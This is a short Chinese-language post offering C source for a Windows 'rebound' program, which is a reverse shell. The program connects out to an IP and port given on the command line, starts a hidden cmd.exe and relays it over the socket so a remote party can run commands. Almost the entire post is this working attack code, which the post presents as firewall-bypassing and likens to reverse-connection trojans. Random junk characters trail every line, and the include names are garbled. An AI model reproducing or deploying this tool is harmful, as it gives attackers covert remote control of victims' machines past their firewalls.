这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。
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/* ============================== F?5kl/("
Rebound port in Windows NT }{]{`\
By wind,2006/7 i aP+Vab
===============================*/ K _O3DcQ
#include Lrr6z05F Q
#include r&Za*TD^
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#pragma comment(lib,"wsock32.lib") GW.s\8w
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void OutputShell(); G8akMd]2
SOCKET sClient; >$HMZbsE
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s^3t18m&1
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void main(int argc,char **argv) r{6 ,;
{ .+{nfmc,c
WSADATA stWsaData; qXP)R/~OZ
int nRet; $ZwsTV]x
SOCKADDR_IN stSaiClient,stSaiServer; f,`FbT
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if(argc != 3) _RY<-B
{ !>9*$E
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printf("Useage:\n\rRebound DestIP DestPort\n"); w#XE!8`
return; j!m~ :D
} jVk|(
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WSAStartup(MAKEWORD(2,2),&stWsaData); -[Zau$;J<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >2>xr"
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stSaiClient.sin_family = AF_INET; YN"102CK
stSaiClient.sin_port = htons(0); gh i!4
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sOU_j4M{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /i
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{ >,hJ5-9
printf("Bind Socket Failed!\n"); A 7DdU NR
return; YJeZ{Wws
} 6sB!m|zm]:
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stSaiServer.sin_family = AF_INET; 3]xnKb|W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \+L_'*&8
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); $`_(%tl
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (IJf2
{ Q7c_;z_
printf("Connect Error!"); [>Q{70 c[
return; &\Cvrxa
} i&.F}bEi
OutputShell(); ]~kqPw<R
} fVR ~PG0
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void OutputShell() n (cSfT
{ 0#Rj[J;kh
char szBuff[1024]; )m5<gp `
SECURITY_ATTRIBUTES stSecurityAttributes; ;J?^M!l2=
OSVERSIONINFO stOsversionInfo; 4_r8ynq{z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1`2lTkg
STARTUPINFO stStartupInfo; b;!ilBc
char *szShell; r=&PUT+vt
PROCESS_INFORMATION stProcessInformation; >]C;sP
unsigned long lBytesRead; :MJBbrV
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;;l(
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ]*zF#Voc
stSecurityAttributes.lpSecurityDescriptor = 0; ^D vaT9s
stSecurityAttributes.bInheritHandle = TRUE; i1aS2gFi_
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); _Q.3X[88C
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _}JygOew
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m^]/
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /=7 |FtB`
stStartupInfo.wShowWindow = SW_HIDE; WNL3+
stStartupInfo.hStdInput = hReadPipe; uLL#(bhDr
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #o yvsS8
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GetVersionEx(&stOsversionInfo); kO2im+y
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switch(stOsversionInfo.dwPlatformId) jh8%Xu]t
{ cteHuRd
case 1: nMVThN*Ig
szShell = "command.com"; !+fHdB
break; ?0_i{BvN
default: [$H8?J
szShell = "cmd.exe"; ={feN L
break; 09x\i/nb
} -,4_ &V
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %
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send(sClient,szMsg,77,0); ""WZpaw
while(1) ;=uHK'{
{ 0s<o5`v
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )k7`!@ID
if(lBytesRead) KCCS7l/
{ _=}Y
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =M(\ R8
send(sClient,szBuff,lBytesRead,0); Wm3H6o*
} IFv2S|
else GXHk{G@TS
{ ]pB~&0jg
lBytesRead=recv(sClient,szBuff,1024,0); {[Yv@CpN
if(lBytesRead<=0) break; _Yh4[TT~/
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0tsll1
} I=3q#^}[
} _$=xa6YA
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return; ~$Mp >ZB2W
}